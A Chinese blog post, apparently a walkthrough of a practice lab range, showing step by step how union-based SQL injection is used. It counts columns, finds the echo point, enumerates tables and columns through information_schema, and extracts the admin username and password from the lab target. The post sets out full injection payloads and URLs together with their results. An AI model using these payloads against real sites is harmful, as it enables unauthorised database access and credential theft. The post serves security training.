• 封神台靶机练习第一章:SQL注入攻击原理


    封神台靶机练习第一章:SQL注入攻击原理

    1、查看参数的传递方式,选择在哪里进行测试攻击

    方法:调出网页控制台,观查网络状况,通过消息头查看参数提交的方式

    通过对消息头的分析,可以看出请求方法为get方式,因此我们就只要在浏览器地址栏中进行注入测试即可。如果为其他请求方式,如post,delete,update等等,可以借助postman工具进行测试。

    2、判断该网站是否能够进行SQL攻击注入

    2.1、观查地址栏地址,猜sql语句

    http://59.63.200.79:8003/?id=1
    

    根据?后面的参数可知,该请求肯定是根据id来查询内容,查询参数为id,因此我猜的SQL语句为:

    select * from 表名 where id = 参数id
    

    2.2、判断该网站能否进行简单的SQL注入攻击

    判断思路:根据所猜SQL语句进行判断

    #参数id = 1 时,后台查询的sql语句应该为:
    select * from 表名 where id = 1
    

    判断1:当参数id = 1'是否显示正常

    测试结果如图:所查询的文章并没有显现,心中窃喜,1'被当作参数传递到了数据库服务器中并执行了,因此可能存在SQL注入风险,此时的SQL语句为:

    select * from 表名 where id = 1'
    

    判断2:当参数id = 1 or 1=1 和 id = 1 or 1=2是,是否显示正常

    因为参数id=1时,页面能显示信息,故前者肯定为true,不管后者是否为和取值,两者相或,都为true。

    断言:如果页面显示正常 => 提交的sql拼接语句进入了数据库服务器中并执行了 =>该网站存在注入风险

    验证:参数id=1时前者肯定为真,但是要让页面不正常显示应该怎样,只需要后者变为 and 1=2 即可,如果页面真的如我们所愿,则该站点肯定能够进行sql注入了

    3、判断该表有几个字段

    使用order by对字段进行排序,二分测试,直到页面显示不正常,由此来判断该表有几个字段。

    #对第一个字段进行排序查询
    select * from 表名 where id = 1 order by 1
    


    经过反复实验测试,在order by 2 时页面就显示不正常了,因此可以断定该表的字段数为2,由此可以猜的:第一个字段为文章id,第二个字段为文章内容

    4、寻找回显点

    有上一步的猜想可知,第二个字段应为文章内容,故应该是第二个字段显示在页面上,下面使用联合查询进行证实,拼接而成的SQL语句应该为:

    select * from 表名 where id = 1 and 1=2 union select 1,2
    

    如果页面出现了2,这说明是第二个字段展示在页面上,即为回显点:

    5、查询该表所在的数据库

    由下面这条sql语句拼接,可以显示出该表所在的数据库名字:

    select * from 表名 where id = 1 and 1=2 union select 1,database()
    


    由显示出来的数据库名字可知,该数据库的名字就为maoshe

    6、查询该数据库中拥有的表的名字

    由mysql数据库的特性可知,information_schema的tables表中存储着mysql每一个数据库对应的数据表的信息,如下图

    其中table_schema字段对应的就是数据库的名字,所以我们可以通过这张表,查询出maose库中拥有的数据表,拼接的sql语句如下:

    select * from 表名 where id = 1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1
    


    该库查询出来的表总共有:

    http://59.63.200.79:8003/?id=1%20and%201=2%20union%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1
    #查询的数据表为admin 
    
    http://59.63.200.79:8003/?id=1%20and%201=2%20union%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1
    #查询的数据表为dirs 
    
    http://59.63.200.79:8003/?id=1%20and%201=2%20union%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%202,1
    #查询的数据表为news 
    
    http://59.63.200.79:8003/?id=1%20and%201=2%20union%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%203,1
    #查询的数据表为xss 
    

    有各表表明可以猜得,管理员得账号和密码应该在admin表

    7、查询admin表拥有的字段名称

    由mysql数据库的特性可知,information_schema的columns表中存储着mysql每一个数据库对应的数据表的所有字段信息,透过数据库名称和表的名称就可以一一查询出来,如图:

    其中 table_schema就为数据库名,table_name就为数据表名,我们可以通过限定这两个字段查询出admin表的所有字段,拼接的sql语句如下:

    	select * from 表名 where id = 1 and 1=2  union select 1,column_name from information_schema.columns where table_schema='maoshe' and table_name='admin' limit 0,1
    


    admin表中有的字段为:

    http://59.63.200.79:8003/?id=1%20and%201=2%20union%20select%201,column_name%20from%20information_schema.columns%20where%20table_schema=%27maoshe%27%20and%20table_name=%27admin%27%20limit%200,1
    #查询出来的字段为id
    
    http://59.63.200.79:8003/?id=1%20and%201=2%20union%20select%201,column_name%20from%20information_schema.columns%20where%20table_schema=%27maoshe%27%20and%20table_name=%27admin%27%20limit%201,1
    #查询出来的字段为username
    
    http://59.63.200.79:8003/?id=1%20and%201=2%20union%20select%201,column_name%20from%20information_schema.columns%20where%20table_schema=%27maoshe%27%20and%20table_name=%27admin%27%20limit%202,1
    #查询出来的字段为password
    

    8、查询管理员信息

    管理员表的表明和所有字段信息我们都清楚了,因此我们可以拼接如下的SQL语句进行对该表数据的查询:

    select * from 表名 where id = 1 and 1=2 union select 1,username from admin limit 0,1
    

    经过测试,该表的用户数据只有一个:

    所以,管理员的账号为admin,密码为hellohack

  • 相关阅读:
    第8章 对象的容纳
    第 4 章 初始化和清除
    第 3 章 控制程序流程
    maven教程
    使用Eclipse构建Maven项目 (step-by-step)
    将 Maven生成的java项目转化为支持 Eclipse IDE的项目
    eclipse 中修改 M2_REPO的值
    FilenameUtils工具类
    导出excel小结(C#,.NET,Wpf)
    NPOI导出Excel表功能实现(多个工作簿)(备用)
  • 原文地址:https://www.cnblogs.com/xgp123/p/12255625.html
Copyright © 2020-2023  润新知